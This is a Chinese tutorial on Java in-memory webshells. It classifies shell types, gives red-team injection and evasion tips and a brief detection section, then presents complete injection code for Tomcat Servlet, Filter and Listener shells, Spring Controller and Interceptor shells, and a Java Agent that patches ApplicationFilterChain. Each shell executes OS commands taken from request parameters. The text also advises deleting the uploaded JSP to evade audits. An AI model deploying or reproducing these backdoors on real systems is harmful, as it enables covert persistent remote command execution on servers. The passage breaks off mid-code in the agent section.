JAVA内存马

1.Java内存马简介

1.1.Java内存马的本质

无文件驻留的Web后门,通过直接修改JVM运行时内存中的关键组件实现攻击。其核心特性:

  1. 无文件落地 - 不写入磁盘,规避传统文件查杀
  2. 驻留于中间件进程 - 寄生在Tomcat/Jetty/WebLogic等容器的JVM中
  3. 动态注册恶意端点 - 运行时注入Filter/Servlet/Controller等组件、

1.2.常见内存马分类

  1. 传统Web应用型
    • 利用Servlet容器(如Tomcat)的Context存储核心组件映射关系,通过动态注册恶意组件实现驻留。
  2. 框架型
    • Spring MVC:Controller处理请求,Interceptor实现类似Filter的功能。
    • Spring WebFlux:使用WebFilter替代传统Filter,适用于响应式编程。
  3. 中间件型
    • 针对中间件管道式设计(如Tomcat的Valve链、Grizzly的Filter链),在关键路径插入恶意处理器。
  4. 其他类型
    • 线程型:创建不可停止的线程绕过GC,永久驻留内存。
    • RMI型:动态启动RMI服务暴露后门。
    • Agent型:通过JVMTI实现无文件注入,技术演进包括Self-attach等。
  5. 通用特征
    • 均通过动态注册/替换组件实现内存驻留,无需文件落地。
    • 利用运行时查找机制(如Context、框架容器)匹配并执行恶意逻辑。

Java内存马分类表

  • 实现方式
类型 子类型 实现方式
传统Web应用型 Servlet型内存马 动态注册Servlet及映射路由
Filter型内存马 动态注册Filter及映射路由
Listener型内存马 动态注册Listener
框架型 Spring Controller型内存马 动态注册Controller及映射路由
Spring Interceptor型内存马 动态注册Interceptor及映射路由
Spring WebFlux型内存马 动态注册WebFilter及映射路由(适用于响应式框架)
中间件型 Tomcat Valve型内存马 动态注册Valve(Tomcat请求处理管道组件)
Tomcat Upgrade型内存马 动态注册UpgradeProtocol(协议升级组件)
Tomcat Executor型内存马 动态替换全局Executor(线程池组件)
Tomcat Poller型内存马 动态替换全局Poller(NIO事件轮询组件)
Grizzly Filter型内存马 动态注册Grizzly Filter及映射路由
其他内存马 WebSocket型内存马 动态注册WebSocket路由及处理逻辑
Tomcat JSP型内存马 动态注册JSP管理逻辑实现驻留
线程型内存马 添加永不终止的线程驻留内存
RMI型内存马 动态启动RMI Registry并绑定恶意后门
Agent型内存马 通过Hook技术注入无文件Agent(支持Self-attach等高级注入)
  • 特点及其应用场景
特点 应用场景
传统Web应用型 Servlet型内存马 动态注册恶意Servlet,通过URL映射拦截请求;持久性强,直接操作容器核心组件 入侵传统Servlet容器(Tomcat/Jetty)场景,适用于老式Java Web应用
Filter型内存马 在请求处理链中插入恶意过滤器;可捕获所有请求,隐蔽性高 需要全局监控HTTP请求的场景(如窃取登录凭证、修改响应内容)
Listener型内存马 通过事件监听器触发(如Session创建);被动执行,资源占用低 持久化后门(如Session创建时激活恶意逻辑),适合低频触发的场景
框架型 Spring Controller型 注册伪控制器与合法路由绑定;可无缝集成Spring上下文,检测难度高 Spring MVC应用渗透,模仿正常API接口(如添加虚假/user/info端点)
Spring Interceptor型 在拦截器链中插入恶意逻辑;可访问Controller上下文数据 需要篡改业务数据的场景(如修改交易金额、窃取API参数)
Spring WebFlux型 针对响应式框架的WebFilter注入;非阻塞处理,高性能 高并发WebFlux应用(如网关系统),需绕过传统防护机制的场景
中间件型 Tomcat Valve型 在请求处理管道插入Valve组件;深度嵌入中间件内核,跨应用生效 Tomcat多应用部署环境,需全局控制的场景(如所有应用的流量监控)
Tomcat Upgrade型 劫持协议升级过程(如HTTP转WebSocket);在协议切换时激活 WebSocket通信劫持场景(如篡改实时聊天内容)
Executor/Poller型 替换线程调度核心组件;控制请求分发逻辑,影响范围大 资源耗尽攻击(如创建阻塞线程池),或精细控制请求路由
其他类型 WebSocket型 注册恶意WebSocket端点;持久化双向通信通道 实时系统入侵(如股票交易终端、在线游戏),可长期窃取数据流
JSP型内存马 动态注册JSP解析逻辑;绕过文件上传检测,驻留内存 规避WAF文件检测的场景,配合JSP引擎漏洞利用
线程型内存马 创建永不停止的线程;无HTTP依赖,直接内存驻留 非Web环境持久化(如后台服务),作为反弹Shell的中继
RMI型内存马 启动恶意RMI服务;支持远程方法调用,跨JVM控制 内网横向移动,作为分布式后门(如绑定在1099端口)
Agent型内存马 通过JVMTI注入,无文件落地;可Hook任意Java方法,操作系统级隐蔽性 高级持久化攻击(APT),对抗RASP检测,适用于安全防护严格的环境

1.3.内存码的攻击与防御

红队实践建议

  1. 注入时机的选择

    • 优先利用反序列化漏洞(如Shiro rememberMe)
    • 结合文件上传漏洞加载字节码(非写入Web目录)
    • JNDI注入 → 加载远程恶意类
  2. 隐蔽性增强技巧

    1
    2
    3
    4
    5
    // 反射注册Filter避免新增元素
    Field filterMaps = ctx.getClass().getDeclaredField("filterMaps");
    filterMaps.setAccessible(true);
    List<FilterMap> maps = (List<FilterMap>) filterMaps.get(ctx);
    maps.add(0, evilFilterMap); // 插入到Filter链首位
  3. 对抗内存检测

    • 使用Java Agent技术抹去线程栈痕迹
    • 通过JNI调用Native代码执行敏感操作
    • 采用反射型代理隐藏恶意调用链

蓝队检测方案

1
2
3
4
5
6
7
8
# 检测异常Filter(Tomcat示例)
$ jmap -histo <pid> | grep -E 'Filter|Servlet|evil'

# 检查URL映射一致性
$ diff <(curl http://target/urls) <(cat conf/web.xml | grep url-pattern)

# 使用Java Mission Control监控
JMC → MBean Server → Tomcat:type=Filter

最新演进方向

  1. GraalVM原生镜像注入 - 突破JVM沙箱限制
  2. 云原生Sidecar劫持 - 攻击Service Mesh中的Envoy代理
  3. JVM TI Agent持久化 - 绕过Java安全管理器

提示:实际渗透中需结合内存马管理器(如Godzilla内存马模块)实现交互式控制,最新Spring Boot内存马需突破Actuator防护。

2.常见内存马代码编写

JEE环境搭建

  • 首先下载并安装Tomcat服务器,可以选择下载较低版本,较高版本的catalina包,还没有发布,无法通过pom文件导入。

image-20250610221320456

  • 可以选择下载历史版本。

image-20250611222348019

  • 选择任意历史版本

image-20250611222409682

image-20250611222454827

  • 将tomcat服务器添加到IDEA配置中。

image-20250610221612665

  • 创建JEE项目

image-20250610221757489

  • 可以将下载的好的源代码植入到项目结构的源代码文件中,用于tomcat的源代码调试。

image-20250611223500574

  • tomcat加载内存马需要导入catalina依赖。
    • 尽量保证与tomcat的版本一致,若当前对应的tomcat版本没有发布的catalina依赖,可以降低版本。
1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>10.1.23</version>
</dependency>

2.1.Servlet内存马

2.1.1.servlet加载

关于一个正常的servlet是如何配置的

  • 创建MyServlet.java文件,配置自己的Servlet逻辑
1
2
3
4
5
6
7
8
public class MyServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.setContentType("text/plain;charset=UTF-8");
resp.getWriter().println("My Servlet Hello World");
}
}

  • 将Servlet注册到web.xml中
1
2
3
4
5
6
7
8
9
<servlet>
<servlet-name>MyServlet</servlet-name>
<servlet-class>com.gaomu.memshell.MyServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>MyServlet</servlet-name>
<url-pattern>/my</url-pattern>
</servlet-mapping>

  • 根据对servlet加载过程的分析,发现在tomcat中servlet是在ContextConfig类中进行的加载。

  • 主要功能是将解析 web.xml 后得到的配置(存储在 WebXml 对象)应用到实际的 Context 对象。

image-20250610223606507

image-20250610224240141

image-20250610224342054

  • 循环配置servlet代码

image-20250610224543311

image-20250610224628341

  • 其中代码整个流程就是通过standardContext这个对象,创建Wrapper包装器,然后分别遍历封装servlet,同时配置映射路径。

2.1.2.内存马编写

  • 根据url接口调试,我们可以从调试中看到standardContext如何获取,我们动态注册自己servlet也需要使用到该standardContext。

image-20250610225921948

  • 获取standardContext实际路径则为 HttpServletRequest.ServletContext.context.context

  • 内存马编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
Created by IntelliJ IDEA.
User: GaoMu
Date: 2025/6/10
Time: 21:42
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
//定义恶意Servlet,注入内存中
public class MemServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
<%
//通过反射获取standardContext

//从request中获取到ServletContext
ServletContext servletContext = request.getServletContext();

//通过servletContext获取到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

//通过applicationContext获取到standardContext
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);


//将MemServlet封装到wrapper中
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletmemshell");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(new MemServlet());

//将wrapper添加到standardContext中,并设置映射关系
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/memshell", "servletmemshell");

%>

  • 通过上传以上内存马到tomcatWEB目录下访问该jsp路径,执行成功后会将恶意的servlet注入到tomcat容器中,当访问该servlet路径-> /memshell,成功执行恶意代码,当然在实际场景中肯定是需要将恶意servlet转换为WEBshell的恶意代码,用于执行系统命令。并且通常在代码执行成功之后,我们可以上传的JSP文件删除。避免被审计到。

2.2.Filter内存马

2.2.1.Filter加载

关于一个正常的Filter过滤器是如何配置的

  • 添加MyFilter.java基础HttpFilter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class MyFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
String echo = req.getParameter("echo");
if (echo != null) {
res.setContentType("text/plain");
res.getWriter().print("your input param is" + echo);
//chain.doFilter(req, res);
} else {
super.doFilter(req, res, chain);
}

}
}

  • web.xml注册filter以及配置映射路径
1
2
3
4
5
6
7
8
<filter>
<filter-name>my-filter</filter-name>
<filter-class>com.gaomu.memshell.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>my-filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

image-20250611222558475

那么一个filter在tomcat容器中具体是如何创建并注册的呢?

  • 其实就三步、操作的和servlet一样,同样是使用StandardContext进行操作。

  • tomcat容器中对Filter的注册一共三步,

    • 第一步添加FilterDef
    • 第二步添加FilterMap
    • 第三步调用StandardContext的filterStart方法,将FilterDef装载到ApplicationFilterConfig中。

    image-20250611225217709

    image-20250611224945041

image-20250611225044106

2.2.2.内存马编写

  • 完整代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.SequenceInputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%--
Created by IntelliJ IDEA.
User: GaoMu
Date: 2025/6/11
Time: 22:55
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 实现HttpFilter的Shell过滤器类
public class ShellFilter extends HttpFilter {
@Override
protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
// 获取请求中的cmd参数
String cmd = req.getParameter("cmd");
if (cmd == null) {
super.doFilter(req, res, chain);
return;
}

// 执行系统命令并读取输出
try (BufferedReader br = new BufferedReader(
new InputStreamReader(new SequenceInputStream(
Runtime.getRuntime().exec(cmd).getInputStream(),
Runtime.getRuntime().exec(cmd).getErrorStream())))) {

// 构建命令执行结果
StringBuilder output = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
output.append(line).append("<br>");
}

// 设置响应类型并输出结果
res.setContentType("text/html; charset=UTF-8");
res.getWriter().print(output);
}
}
}
%>
<%
//通过反射获取standardContext
ServletContext servletContext = request.getServletContext();
//通过servletContext获取到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext获取到standardContext
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);

// 创建ShellFilter实例
ShellFilter shellFilter = new ShellFilter();

// 创建FilterDef对象并配置过滤器定义
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("shell-filter"); // 设置过滤器名称
filterDef.setFilter(shellFilter); // 设置过滤器实例
filterDef.setFilterClass(shellFilter.getClass().getName()); // 设置过滤器类名

// 创建FilterMap对象并配置URL映射
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("shell-filter"); // 设置过滤器名称
filterMap.addURLPattern("/*"); // 设置URL匹配模式为所有请求

// 将过滤器定义和映射添加到StandardContext中
standardContext.addFilterDef(filterDef); // 添加过滤器定义
standardContext.addFilterMap(filterMap); // 添加过滤器映射
standardContext.filterStart(); // 启动过滤器

out.println("add success");
%>

演示

  • 访问jsp添加filter

image-20250611231644225

image-20250612011207714

2.3.Listener内存马

2.3.1.Listener加载

  • Listener分类
类型 触发事件
ServletContextListener 在ServletContext创建和关闭时都会通知ServletContextListener监听器
HttpSessionListener 当HttpSession刚被创建或者失效时,将会通知HttpSessionListener监听器
ServletRequestListener 在ServletRequest创建和关闭时都会通知ServletRequestListener监听器

ServletRequestListener的正常实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//这是一个简单的通过获取sre事件中的request.getResponse,进行回显。
public class MyListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
String echo = req.getParameter("lecho");
if (echo != null) {
Class<? extends ServletRequest> srClass = req.getClass();
try {
Field requestField = srClass.getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);
request.getResponse().getWriter().print(echo);
} catch (Exception e) {
throw new RuntimeException(e);
}
}

}
}

在web.xml注册Listener

1
2
3
<listener>
<listener-class>com.gaomu.memshell.MyListener</listener-class>
</listener>

如何通过jsp动态注入Listener

  • 我们可以查看StandardContext中的调用,StandardContext通过调用fireRequestInitEvent方法,来调用监听器中的方法。
  • 而这个Listener又是从getApplicationEventListeners中获取的,因此我们只需要将我们的Listener添加到applicationEventListenersList中我们就能够动态注入我们的监听器。

image-20250612005840598

image-20250612004543308

image-20250612004924437

  • 而关于applicationEventListenersList的操作StandardContext正好有一个addApplicationEventListener方法可以使用。

image-20250612005142324

2.3.2.内存马编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.SequenceInputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %><%--
Created by IntelliJ IDEA.
User: GaoMu
Date: 2025/6/12
Time: 00:52
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
// 实现ServletRequestListener接口的Shell监听器类
public class ShellListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 获取请求对象和命令参数
ServletRequest req = sre.getServletRequest();
String lcmd = req.getParameter("lcmd");

if (lcmd == null) {
return;
}

try {
// 通过反射获取内部Request对象,用于在监听器情况下获取回显
Field requestField = req.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request request = (Request) requestField.get(req);

// 执行系统命令
Process process = Runtime.getRuntime().exec(lcmd);
StringBuilder output = new StringBuilder();

// 读取命令执行结果
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(new SequenceInputStream(
process.getInputStream(),
process.getErrorStream())))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("<br>");
}
process.waitFor();
}

// 将执行结果写入响应
request.getResponse().getWriter().print(output);
} catch (Exception e) {
throw new RuntimeException("命令执行失败", e);
}
}
}

%>

<%
//通过反射获取standardContext
ServletContext servletContext = request.getServletContext();
//通过servletContext获取到applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//通过applicationContext获取到standardContext
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);

//将定义的Listener注入到standardContext中
standardContext.addApplicationEventListener(new ShellListener());

out.println("Inject successful");
%>

注入演示:

image-20250612010306629

image-20250612011226120

Springboot环境搭建

  • 使用云原生脚手架自动搭建即可,脚手架
  • 建议选择2.4.2较低版本

image-20250612232341163

2.4.SpringController内存马

2.4.1.Controller加载

我们如何动态的注入一个Controller呢?

  • 通过对controller请求路径的分析,我们可以看到lookupHandlerMethod这个方法,其中lookup函数就是我们controller的实际映射路径,且mappingRegistry中的registry实际是一个HashMap,其中存储我们所有定义的Controller,以及其映射路径,因此我们只需要将我们自己定义的Controller注入到这个mappingRegistry的registry中,那么就相当于我们就成功注入了一个Controller。

image-20250612223444325

  • 那么我们如何获取将自己的Controller注入到mappingRegistry对象中呢?
  • 我们可以看到下图,registerHandlerMethod方法spring启动时会依次使用该方法将,代码中的所有Controller注入到mappingRegistry中。因此我们也可以使用这个方法来注册Controller。

image-20250612224113848

  • 那么接下来我们的目标就是找到获取mappingRegistry对象,但是mappingRegistry是个抽象类,在spring运行时中可能并没有这样一个对象,但是不用担心,既然抽象类我们拿不到,但是我们可以通过获取抽象类的子类来调用这个register方法。

image-20250612224524580

  • 我们可以看下图RequestMappingHandlerMapping继承自RequestMappingInfoHandlerMapping这个非抽象类继承自AbstractHandlerMethodMapping,那么我们就可以通过获取RequestMappingHandlerMapping类,来获取的register方法。

image-20250612230039762

image-20250612225324417

  • 我们也可以直接通过关联图表直观的看到继承关系图,因此我们只需要获取到其子类。

image-20250612230424905

  • 通过从DispatcherServlet中我们可以看到,spring通过从context(ApplicationContext) 中获取handlerMaping,那么我们可以从ApplicationContext中获取到RequestMappingInfoHandlerMapping。其中注释也说明了所有的HandlerMapping都在ApplicationContext中。

image-20250612225818216

  • 那么现在我们的问题又转换为了如何获取到ApplicationContext。
  • 我们可以看到WebApplicationContext是ApplicationContext的直接子类,因此我们获取WebApplicationContext就可以了。

image-20250612231046470

  • 我们从DispatcherServlet中我们可以看到request中被设置了一个属性,叫做WEB_APPLICATION_CONTEXT_ATTRIBUTE,因此我们可以直接从request中获取到这个WebApplicationContext

image-20250612230926826

2.4.2.内存马编写

那么根据以上的分析,我们可以编写如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
@RequestMapping(value = "/injectcontroller")
public String injectController() throws NoSuchMethodException {
// 获取Spring Web应用上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);

// 获取请求映射处理器
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 创建注入控制器实例
InjectController injectController = new InjectController();

// 创建请求映射信息,设置访问路径为/evil
RequestMappingInfo info = new RequestMappingInfo(new PatternsRequestCondition("/evil"), new RequestMethodsRequestCondition(),
null, null, null, null, null);

// 注册新的请求映射
mapping.registerMapping(info, injectController, injectController.getClass().getMethod("evil"));
return "Inject controller!";

}

@RestController
public class InjectController{
public String evil() throws IOException {

HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
String cmd = request.getParameter("cmd");

if (cmd == null) {
return null;
}

// 执行系统命令并读取输出
try (BufferedReader br = new BufferedReader(
new InputStreamReader(new SequenceInputStream(
Runtime.getRuntime().exec(cmd).getInputStream(),
Runtime.getRuntime().exec(cmd).getErrorStream())))) {

// 构建命令执行结果
StringBuilder output = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
output.append(line).append("<br>");
}
return output.toString();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

演示

image-20250612231608818

image-20250612231637380

2.5.SpringInterceptor内存马

2.5.1.Interceptor加载

如何正常注册一个Interceptor

  • 创建一个正常的MyInterceptor拦截器
1
2
3
4
5
6
7
8
9
10
11
12
13
import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
System.out.println("proHandle test!");
return true;
}
}

  • 将拦截器在Config中进行配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.gaomu.springmemshell.Interceptor.MyInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.EnableWebMvc;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
@EnableWebMvc
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new MyInterceptor()).addPathPatterns("/**");
}
}

image-20250613002403789

那么我们如何才能在spring运行时,动态注入一个拦截器呢?

  • 可以看到AbstractHandlerMapping类中,在getHandlerExecutionChain中通过遍历adaptedInterceptors列表中的所有拦截器,将拦截器依次添加到chain中。因此我们只需要将自定义的拦截器,添加到adaptedInterceptors列表中即可。

image-20250613002902823

  • 而getHandlerExecutionChain方法是AbstractHandlerMapping类的方法,我们同样可以和之前Controller内存马加载的时候一样,使用AbstractHandlerMapping的子类RequestMappingHandlerMapping。我们可以通过这个类来调用getHandlerExecutionChain方法,同时RequestMappingHandlerMapping可以通过WebApplicationContext拿到,因此和之前一样的操作。

2.5.2.内存马编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
@RequestMapping(value = "/injectinterceptor")
public String injectInterceptor() throws NoSuchMethodException, NoSuchFieldException {
// 获取Spring Web应用上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0);

// 获取请求映射处理器
RequestMappingHandlerMapping mapping = null;
if (context != null) {
mapping = context.getBean(RequestMappingHandlerMapping.class);
}

//由于adaptedInterceptors列表是私有变量,因此我们通过反射获取。
Field adaptedInterceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
try {
List<HandlerInterceptor> handlerInterceptors = (List<HandlerInterceptor>) adaptedInterceptorsField.get(mapping);
handlerInterceptors.add(new ShellInterceptor());
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject interceptor!";
}

public class ShellInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String icmd = request.getParameter("icmd");
if (icmd != null){
Process proc = Runtime.getRuntime().exec(icmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(proc.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
response.getWriter().println(line);
}
return false;
}
return true;
}
}
  • 访问/injectinterceptor,再访问任意路径时使用icmd传入参数执行系统命令。

2.6.Agent内存马

2.6.1.Java Agent

​ Java Agent是一种可以在JVM启动时或运行时附加的工具,它可以拦截并修改类文件字节码。java Agent通常用于实现AOP(面向切面的编程)、性能监控、日志记录等功能。

​ Java Agent又两种加载方式:

  1. Premain:在JVM启动时通过命令参数 -javaagent:path/to/you-agent.jar来指定
  2. Agentmain:在JVM已经启动后,通过Attach API动态地附加到正在运行地JVM程序上。

2.6.2.ApplicationFilterChain

  • 通过对servlet进行断点测试分析,发现在程序到达servlet前多次调用ApplicaitonFilterChain#doFilter(request, response, chain)。根据Tomcat的请求传递过程,请求必将经过Filter链,因此只要存在Filter,ApplicationFilterChain必将被调用。

image-20250614141600275

  • 因此我们可以利用这一机制在ApplicationFilterChain中使用agentmain注入我们的代码逻辑,例如当请参数中存在cmd时,那么就执行对应命令并返回。

  • 那么接下来我们只需要构建一个用于注入agent内存马的jar。

2.6.3.内存马编写

  • 第一步需要先构建一个java项目

image-20250614142902011

  • 然后最重要的是编写pom.xml文件,其中有很多细节需要注意。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId> <!-- 允许在运行时动态修改类 -->
<version>3.29.2-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef> <!-- 打包所有依赖 -->
</descriptorRefs>
<archive>
<manifestEntries>
<Main-Class>test</Main-Class>
<Agent-Class>AgentMainTest</Agent-Class><!-- Java Agent入口类 -->
<Can-Redefine-Classes>true</Can-Redefine-Classes><!-- 允许重定义类 -->
<Can-Retransform-Classes>true</Can-Retransform-Classes><!-- 允许类重转换 -->
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase> <!-- 绑定到maven package阶段 -->
<goals>
<goal>single</goal> <!-- 执行assembly:single目标 -->
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
  • 然后需要编写一个Transformer类,用于对ApplicationFilterChain进行转换,注入我们需要执行的代码。
  • 具体实现细节请根据注解解读
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

import javassist.*;

public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(
ClassLoader loader, // 加载目标类的类加载器
String className, // 目标类的全限定名(内部格式,如org/apache/catalina/core/ApplicationFilterChain)
Class<?> classBeingRedefined, // 被重定义的类(若为类重定义则非null)
ProtectionDomain protectionDomain, // 目标类的保护域
byte[] classfileBuffer // 原始类文件的字节数组
) throws IllegalClassFormatException {

// 检查是否是目标类(Tomcat的过滤器链核心类)
if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
// 1. 初始化Javassist类池
ClassPool pool = ClassPool.getDefault();
// 2. 添加当前类加载器到类池搜索路径
pool.appendClassPath(new LoaderClassPath(loader));

try {
// 3. 从原始字节流创建CtClass对象(可编辑的类表示)
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 4. 获取目标方法:doFilter(Tomcat过滤器链的核心处理方法)
CtMethod doFilterMethod = cc.getDeclaredMethod("doFilter");

// 5. 在doFilter方法开头插入自定义代码
doFilterMethod.insertBefore("{ " +
"" + // ""此处替换为实际要注入的Java代码(需符合Javassist语法)
" }");
// 6. 返回修改后的字节码
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException("类转换失败: " + className, e);
}
}

// 7. 非目标类直接返回原始字节码(不进行修改)
return null;
}
}

  • 插入执行代码块。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//当检测到请求参数中包含cmd参数,执行对应值的系统命令
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process proc = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = proc.getInputStream();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));
response.setContentType("text/html; charset=UTF-8");
String line;
java.io.PrintWriter out = response.getWriter();
StringBuilder output = new StringBuilder();
while ((line = br.readLine()) != null) {
output.append(line).append("<br>");
}
out.println(output);
out.flush();
out.close();
} catch (java.io.IOException e) {
throw new RuntimeException(e);
}
}
  • 编写AgentMainTest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
/**
* Java Agent 动态加载入口方法(通过Attach API等机制调用)
*
* @param agentArgs 代理参数(从外部传入)
* @param inst JVM 提供的 Instrumentation 实例(字节码操作核心API)
*/
public static void agentmain(String agentArgs, Instrumentation inst) {
// 1. 注册自定义字节码转换器
// 第二个参数true表示允许转换器重新转换已加载的类
